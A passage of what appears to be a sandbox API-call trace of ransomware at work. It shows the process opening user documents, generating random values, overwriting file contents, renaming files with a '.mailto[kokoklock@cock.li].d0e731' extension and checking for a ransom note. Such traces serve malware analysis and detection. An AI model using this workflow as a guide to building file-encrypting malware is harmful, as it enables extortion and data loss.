_Dest="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" [0069.438] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\d0e731-readme.txt")) returned 0x20 [0069.438] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427618) returned 1 [0069.438] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d930) returned 1 [0069.438] RtlExitUserThread (Status=0x1) Thread: id = 417 os_tid = 0x104c [0069.439] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\jQwbLAg2vznSFTeLLa.docx" (normalized: "c:\\users\\fd1hvy\\documents\\jqwblag2vznsftella.docx")) returned 0x20 [0069.439] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\jQwbLAg2vznSFTeLLa.docx", dwFileAttributes=0x20) returned 1 [0069.439] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\jQwbLAg2vznSFTeLLa.docx" (normalized: "c:\\users\\fd1hvy\\documents\\jqwblag2vznsftella.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x76c [0069.440] GetFileSizeEx (in: hFile=0x76c, lpFileSize=0x11e3f7c8 | out: lpFileSize=0x11e3f7c8*=87495) returned 1 [0069.440] SetFilePointerEx (in: hFile=0x76c, liDistanceToMove=0x155c3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.440] ReadFile (in: hFile=0x76c, lpBuffer=0x11e3f79c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x11e3f798, lpOverlapped=0x0 | out: lpBuffer=0x11e3f79c*, lpNumberOfBytesRead=0x11e3f798*=0x4, lpOverlapped=0x0) returned 1 [0069.440] SetFilePointerEx (in: hFile=0x76c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.440] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c130 [0069.441] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c0e0 [0069.441] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c068 [0069.441] NtQuerySystemTime (in: CurrentTime=0x11e3f774 | out: CurrentTime=0x11e3f774*=132121176273379525) returned 0x0 [0069.441] RtlRandom (in: Seed=0x11e3f780 | out: Seed=0x11e3f780) returned 0xe2e352ad [0069.441] RtlRandom (in: Seed=0x11e3f780 | out: Seed=0x11e3f780) returned 0x46744983 [0069.441] RtlRandom (in: Seed=0x11e3f780 | out: Seed=0x11e3f780) returned 0xf6fdb3e6 [0069.441] RtlRandom (in: Seed=0x11e3f780 | out: Seed=0x11e3f780) returned 0x6dcf6a06 [0069.441] RtlRandom (in: Seed=0x11e3f780 | out: Seed=0x11e3f780) returned 0x3edbfbf5 [0069.441] RtlRandom (in: Seed=0x11e3f780 | out: Seed=0x11e3f780) returned 0x7966e078 [0069.441] RtlRandom (in: Seed=0x11e3f780 | out: Seed=0x11e3f780) returned 0xb9ab9100 [0069.441] RtlRandom (in: Seed=0x11e3f780 | out: Seed=0x11e3f780) returned 0x3fe8a877 [0069.441] RtlRandom (in: Seed=0x11e3f780 | out: Seed=0x11e3f780) returned 0x2338fda8 [0069.441] RtlRandom (in: Seed=0x11e3f780 | out: Seed=0x11e3f780) returned 0xca9e397 [0069.441] RtlRandom (in: Seed=0x11e3f780 | out: Seed=0x11e3f780) returned 0x6ef6c607 [0069.441] RtlRandom (in: Seed=0x11e3f780 | out: Seed=0x11e3f780) returned 0x12dbf1c [0069.441] RtlRandom (in: Seed=0x11e3f780 | out: Seed=0x11e3f780) returned 0xf386e13d [0069.441] RtlRandom (in: Seed=0x11e3f780 | out: Seed=0x11e3f780) returned 0x77b5630a [0069.441] RtlRandom (in: Seed=0x11e3f780 | out: Seed=0x11e3f780) returned 0x65134a4a [0069.441] RtlRandom (in: Seed=0x11e3f780 | out: Seed=0x11e3f780) returned 0x28c92c92 [0069.441] RtlRandom (in: Seed=0x11e3f780 | out: Seed=0x11e3f780) returned 0x4b873c0b [0069.441] RtlRandom (in: Seed=0x11e3f780 | out: Seed=0x11e3f780) returned 0xef25f15c [0069.441] RtlRandom (in: Seed=0x11e3f780 | out: Seed=0x11e3f780) returned 0xc04e43f8 [0069.441] RtlRandom (in: Seed=0x11e3f780 | out: Seed=0x11e3f780) returned 0xa6ca385b [0069.441] RtlRandom (in: Seed=0x11e3f780 | out: Seed=0x11e3f780) returned 0xb425119f [0069.441] RtlRandom (in: Seed=0x11e3f780 | out: Seed=0x11e3f780) returned 0xf85bc849 [0069.441] RtlRandom (in: Seed=0x11e3f780 | out: Seed=0x11e3f780) returned 0xa8b83c2 [0069.441] RtlRandom (in: Seed=0x11e3f780 | out: Seed=0x11e3f780) returned 0x9bdf3860 [0069.441] RtlRandom (in: Seed=0x11e3f780 | out: Seed=0x11e3f780) returned 0x600e88c0 [0069.441] RtlRandom (in: Seed=0x11e3f780 | out: Seed=0x11e3f780) returned 0xc6eedd1b [0069.441] RtlRandom (in: Seed=0x11e3f780 | out: Seed=0x11e3f780) returned 0x5a34f6d1 [0069.441] RtlRandom (in: Seed=0x11e3f780 | out: Seed=0x11e3f780) returned 0x81b458ac [0069.441] RtlRandom (in: Seed=0x11e3f780 | out: Seed=0x11e3f780) returned 0xce0cffb2 [0069.441] RtlRandom (in: Seed=0x11e3f780 | out: Seed=0x11e3f780) returned 0xb489355e [0069.441] RtlRandom (in: Seed=0x11e3f780 | out: Seed=0x11e3f780) returned 0x89cde54b [0069.442] RtlRandom (in: Seed=0x11e3f780 | out: Seed=0x11e3f780) returned 0x54e6e233 [0069.461] SetFilePointerEx (in: hFile=0x76c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.461] ReadFile (in: hFile=0x76c, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x11e3f74c, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x11e3f74c*=0x4096, lpOverlapped=0x0) returned 1 [0069.461] SetFilePointerEx (in: hFile=0x76c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.461] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0069.461] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479c40 [0069.461] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c130 [0069.461] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c130) returned 1 [0069.461] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0069.462] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c1f8 [0069.462] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c130 [0069.462] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c130) returned 1 [0069.462] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0069.462] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0069.462] WriteFile (in: hFile=0x76c, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x11e3f74c, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x11e3f74c*=0x4096, lpOverlapped=0x0) returned 1 [0069.462] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0069.462] SetFilePointerEx (in: hFile=0x76c, liDistanceToMove=0x155c7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.462] WriteFile (in: hFile=0x76c, lpBuffer=0x342c1f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x11e3f784, lpOverlapped=0x0 | out: lpBuffer=0x342c1f8*, lpNumberOfBytesWritten=0x11e3f784*=0x20, lpOverlapped=0x0) returned 1 [0069.462] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c1f8) returned 1 [0069.462] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0069.462] WriteFile (in: hFile=0x76c, lpBuffer=0x342c1d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x11e3f798, lpOverlapped=0x0 | out: lpBuffer=0x342c1d0*, lpNumberOfBytesWritten=0x11e3f798*=0x8, lpOverlapped=0x0) returned 1 [0069.462] WriteFile (in: hFile=0x76c, lpBuffer=0x11e3f7b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11e3f798, lpOverlapped=0x0 | out: lpBuffer=0x11e3f7b0*, lpNumberOfBytesWritten=0x11e3f798*=0x4, lpOverlapped=0x0) returned 1 [0069.462] WriteFile (in: hFile=0x76c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11e3f798, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x11e3f798*=0x4, lpOverlapped=0x0) returned 1 [0069.462] WriteFile (in: hFile=0x76c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x11e3f798, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x11e3f798*=0x6c, lpOverlapped=0x0) returned 1 [0069.462] WriteFile (in: hFile=0x76c, lpBuffer=0x342c0e0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x11e3f798, lpOverlapped=0x0 | out: lpBuffer=0x342c0e0*, lpNumberOfBytesWritten=0x11e3f798*=0x20, lpOverlapped=0x0) returned 1 [0069.463] WriteFile (in: hFile=0x76c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11e3f798, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x11e3f798*=0x4, lpOverlapped=0x0) returned 1 [0069.463] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c0e0) returned 1 [0069.463] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c1a8) returned 1 [0069.463] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c1d0) returned 1 [0069.463] CloseHandle (hObject=0x76c) returned 1 [0069.465] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa6) returned 0x33ce9d8 [0069.465] wcscpy (in: _Dest=0x33ce9d8, _Source="C:\\Users\\FD1HVy\\Documents\\jQwbLAg2vznSFTeLLa.docx" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\jQwbLAg2vznSFTeLLa.docx") returned="C:\\Users\\FD1HVy\\Documents\\jQwbLAg2vznSFTeLLa.docx" [0069.465] wcscat (in: _Dest=0x33ce9d8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\jQwbLAg2vznSFTeLLa.docx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\jQwbLAg2vznSFTeLLa.docx.mailto[kokoklock@cock.li].d0e731" [0069.465] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\jQwbLAg2vznSFTeLLa.docx" (normalized: "c:\\users\\fd1hvy\\documents\\jqwblag2vznsftella.docx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\jQwbLAg2vznSFTeLLa.docx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\jqwblag2vznsftella.docx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0069.466] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\jQwbLAg2vznSFTeLLa.docx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0069.466] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ce9d8) returned 1 [0069.466] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\jQwbLAg2vznSFTeLLa.docx", dwFileAttributes=0x20) returned 0 [0069.466] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x3427618 [0069.466] wcscpy (in: _Dest=0x3427618, _Source="C:\\Users\\FD1HVy\\Documents\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0069.466] wcscat (in: _Dest=0x3427618, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" [0069.466] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\d0e731-readme.txt")) returned 0x20 [0069.466] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427618) returned 1 [0069.466] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347e650) returned 1 [0069.467] RtlExitUserThread (Status=0x1) Thread: id = 418 os_tid = 0x1050 [0069.468] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\jvvzUlONiOuTser1Cw.doc" (normalized: "c:\\users\\fd1hvy\\documents\\jvvzulonioutser1cw.doc")) returned 0x20 [0069.468] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\jvvzUlONiOuTser1Cw.doc", dwFileAttributes=0x20) returned 1 [0069.468] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\jvvzUlONiOuTser1Cw.doc" (normalized: "c:\\users\\fd1hvy\\documents\\jvvzulonioutser1cw.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x76c [0069.468] GetFileSizeEx (in: hFile=0x76c, lpFileSize=0x11ebf750 | out: lpFileSize=0x11ebf750*=23501) returned 1 [0069.468] SetFilePointerEx (in: hFile=0x76c, liDistanceToMove=0x5bc9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.468] ReadFile (in: hFile=0x76c, lpBuffer=0x11ebf724, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x11ebf720, lpOverlapped=0x0 | out: lpBuffer=0x11ebf724*, lpNumberOfBytesRead=0x11ebf720*=0x4, lpOverlapped=0x0) returned 1 [0069.468] SetFilePointerEx (in: hFile=0x76c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.468] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c1a8 [0069.468] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c130 [0069.468] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c0e0 [0069.468] NtQuerySystemTime (in: CurrentTime=0x11ebf6fc | out: CurrentTime=0x11ebf6fc*=132121176273692227) returned 0x0 [0069.468] RtlRandom (in: Seed=0x11ebf708 | out: Seed=0x11ebf708) returned 0x7a4db6bf [0069.468] RtlRandom (in: Seed=0x11ebf708 | out: Seed=0x11ebf708) returned 0xf574727c [0069.468] RtlRandom (in: Seed=0x11ebf708 | out: Seed=0x11ebf708) returned 0xe4bc3a26 [0069.469] RtlRandom (in: Seed=0x11ebf708 | out: Seed=0x11ebf708) returned 0x5b4b11ed [0069.469] RtlRandom (in: Seed=0x11ebf708 | out: Seed=0x11ebf708) returned 0xb3798efc [0069.469] RtlRandom (in: Seed=0x11ebf708 | out: Seed=0x11ebf708) returned 0x1a3ef41b [0069.469] RtlRandom (in: Seed=0x11ebf708 | out: Seed=0x11ebf708) returned 0xfcf0ca73 [0069.469] RtlRandom (in: Seed=0x11ebf708 | out: Seed=0x11ebf708) returned 0xbdabbf1d [0069.469] RtlRandom (in: Seed=0x11ebf708 | out: Seed=0x11ebf708) returned 0xb696db36 [0069.469] RtlRandom (in: Seed=0x11ebf708 | out: Seed=0x11ebf708) returned 0xcc2e494c [0069.469] RtlRandom (in: Seed=0x11ebf708 | out: Seed=0x11ebf708) returned 0xcf05efbb [0069.469] RtlRandom (in: Seed=0x11ebf708 | out: Seed=0x11ebf708) returned 0x30f07820 [0069.469] RtlRandom (in: Seed=0x11ebf708 | out: Seed=0x11ebf708) returned 0x27d673c3 [0069.469] RtlRandom (in: Seed=0x11ebf708 | out: Seed=0x11ebf708) returned 0xa876cea4 [0069.469] RtlRandom (in: Seed=0x11ebf708 | out: Seed=0x11ebf708) returned 0xecab2f2c [0069.469] RtlRandom (in: Seed=0x11ebf708 | out: Seed=0x11ebf708) returned 0xb411d790 [0069.469] RtlRandom (in: Seed=0x11ebf708 | out: Seed=0x11ebf708) returned 0x170ac33 [0069.469] RtlRandom (in: Seed=0x11ebf708 | out: Seed=0x11ebf708) returned 0x90cce860 [0069.469] RtlRandom (in: Seed=0x11ebf708 | out: Seed=0x11ebf708) returned 0xbf378bf7 [0069.469] RtlRandom (in: Seed=0x11ebf708 | out: Seed=0x11ebf708) returned 0xd2f377a7 [0069.469] RtlRandom (in: Seed=0x11ebf708 | out: Seed=0x11ebf708) returned 0xbd6b41fa [0069.469] RtlRandom (in: Seed=0x11ebf708 | out: Seed=0x11ebf708) returned 0x851f349a [0069.469] RtlRandom (in: Seed=0x11ebf708 | out: Seed=0x11ebf708) returned 0x5cc241e6 [0069.469] RtlRandom (in: Seed=0x11ebf708 | out: Seed=0x11ebf708) returned 0xb87b1dae [0069.469] RtlRandom (in: Seed=0x11ebf708 | out: Seed=0x11ebf708) returned 0x8686c921 [0069.469] RtlRandom (in: Seed=0x11ebf708 | out: Seed=0x11ebf708) returned 0xba9b74f3 [0069.469] RtlRandom (in: Seed=0x11ebf708 | out: Seed=0x11ebf708) returned 0x6173fb2c [0069.469] RtlRandom (in: Seed=0x11ebf708 | out: Seed=0x11ebf708) returned 0xa4b1ebb1 [0069.469] RtlRandom (in: Seed=0x11ebf708 | out: Seed=0x11ebf708) returned 0xf8ac0ee [0069.469] RtlRandom (in: Seed=0x11ebf708 | out: Seed=0x11ebf708) returned 0xbe04ad06 [0069.469] RtlRandom (in: Seed=0x11ebf708 | out: Seed=0x11ebf708) returned 0x7ee4f6c0 [0069.469] RtlRandom (in: Seed=0x11ebf708 | out: Seed=0x11ebf708) returned 0x963194ec [0069.480] SetFilePointerEx (in: hFile=0x76c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.480] ReadFile (in: hFile=0x76c, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x11ebf6d4, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x11ebf6d4*=0x4096, lpOverlapped=0x0) returned 1 [0069.480] SetFilePointerEx (in: hFile=0x76c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.480] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0069.480] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479c40 [0069.480] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c1a8 [0069.480] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c1a8) returned 1 [0069.481] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0069.481] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c1a8 [0069.481] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bf00 [0069.481] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bf00) returned 1 [0069.481] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0069.481] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0069.481] WriteFile (in: hFile=0x76c, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x11ebf6d4, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x11ebf6d4*=0x4096, lpOverlapped=0x0) returned 1 [0069.481] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0069.481] SetFilePointerEx (in: hFile=0x76c, liDistanceToMove=0x5bcd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.481] WriteFile (in: hFile=0x76c, lpBuffer=0x342c1a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x11ebf70c, lpOverlapped=0x0 | out: lpBuffer=0x342c1a8*, lpNumberOfBytesWritten=0x11ebf70c*=0x20, lpOverlapped=0x0) returned 1 [0069.481] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c1a8) returned 1 [0069.481] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0069.482] WriteFile (in: hFile=0x76c, lpBuffer=0x342c1f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x11ebf720, lpOverlapped=0x0 | out: lpBuffer=0x342c1f8*, lpNumberOfBytesWritten=0x11ebf720*=0x8, lpOverlapped=0x0) returned 1 [0069.482] WriteFile (in: hFile=0x76c, lpBuffer=0x11ebf738*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11ebf720, lpOverlapped=0x0 | out: lpBuffer=0x11ebf738*, lpNumberOfBytesWritten=0x11ebf720*=0x4, lpOverlapped=0x0) returned 1 [0069.482] WriteFile (in: hFile=0x76c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11ebf720, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x11ebf720*=0x4, lpOverlapped=0x0) returned 1 [0069.482] WriteFile (in: hFile=0x76c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x11ebf720, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x11ebf720*=0x6c, lpOverlapped=0x0) returned 1 [0069.482] WriteFile (in: hFile=0x76c, lpBuffer=0x342c130*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x11ebf720, lpOverlapped=0x0 | out: lpBuffer=0x342c130*, lpNumberOfBytesWritten=0x11ebf720*=0x20, lpOverlapped=0x0) returned 1 [0069.482] WriteFile (in: hFile=0x76c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11ebf720, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x11ebf720*=0x4, lpOverlapped=0x0) returned 1 [0069.482] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c130) returned 1 [0069.482] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c1d0) returned 1 [0069.482] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c1f8) returned 1 [0069.482] CloseHandle (hObject=0x76c) returned 1 [0069.483] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa4) returned 0x33ce9d8 [0069.483] wcscpy (in: _Dest=0x33ce9d8, _Source="C:\\Users\\FD1HVy\\Documents\\jvvzUlONiOuTser1Cw.doc" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\jvvzUlONiOuTser1Cw.doc") returned="C:\\Users\\FD1HVy\\Documents\\jvvzUlONiOuTser1Cw.doc" [0069.483] wcscat (in: _Dest=0x33ce9d8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\jvvzUlONiOuTser1Cw.doc.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\jvvzUlONiOuTser1Cw.doc.mailto[kokoklock@cock.li].d0e731" [0069.483] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\jvvzUlONiOuTser1Cw.doc" (normalized: "c:\\users\\fd1hvy\\documents\\jvvzulonioutser1cw.doc"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\jvvzUlONiOuTser1Cw.doc.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\jvvzulonioutser1cw.doc.mailto[kokoklock@cock.li].d0e731")) returned 1 [0069.485] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\jvvzUlONiOuTser1Cw.doc.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0069.485] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ce9d8) returned 1 [0069.485] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\jvvzUlONiOuTser1Cw.doc", dwFileAttributes=0x20) returned 0 [0069.485] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x3427618 [0069.485] wcscpy (in: _Dest=0x3427618, _Source="C:\\Users\\FD1HVy\\Documents\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0069.485] wcscat (in: _Dest=0x3427618, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" [0069.485] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\d0e731-readme.txt")) returned 0x20 [0069.485] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427618) returned 1 [0069.485] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347dee0) returned 1 [0069.485] RtlExitUserThread (Status=0x1) Thread: id = 419 os_tid = 0x1054 [0069.486] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\ltKDJJ.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\ltkdjj.xlsx")) returned 0x20 [0069.487] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\ltKDJJ.xlsx", dwFileAttributes=0x20) returned 1 [0069.487] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\ltKDJJ.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\ltkdjj.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x76c [0069.487] GetFileSizeEx (in: hFile=0x76c, lpFileSize=0x11f3f9fc | out: lpFileSize=0x11f3f9fc*=90095) returned 1 [0069.487] SetFilePointerEx (in: hFile=0x76c, liDistanceToMove=0x15feb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.487] ReadFile (in: hFile=0x76c, lpBuffer=0x11f3f9d0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x11f3f9cc, lpOverlapped=0x0 | out: lpBuffer=0x11f3f9d0*, lpNumberOfBytesRead=0x11f3f9cc*=0x4, lpOverlapped=0x0) returned 1 [0069.488] SetFilePointerEx (in: hFile=0x76c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.488] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c1d0 [0069.488] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c1a8 [0069.488] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c130 [0069.488] NtQuerySystemTime (in: CurrentTime=0x11f3f9a8 | out: CurrentTime=0x11f3f9a8*=132121176273847951) returned 0x0 [0069.488] RtlRandom (in: Seed=0x11f3f9b4 | out: Seed=0x11f3f9b4) returned 0xa9673d96 [0069.488] RtlRandom (in: Seed=0x11f3f9b4 | out: Seed=0x11f3f9b4) returned 0xd4c0020 [0069.488] RtlRandom (in: Seed=0x11f3f9b4 | out: Seed=0x11f3f9b4) returned 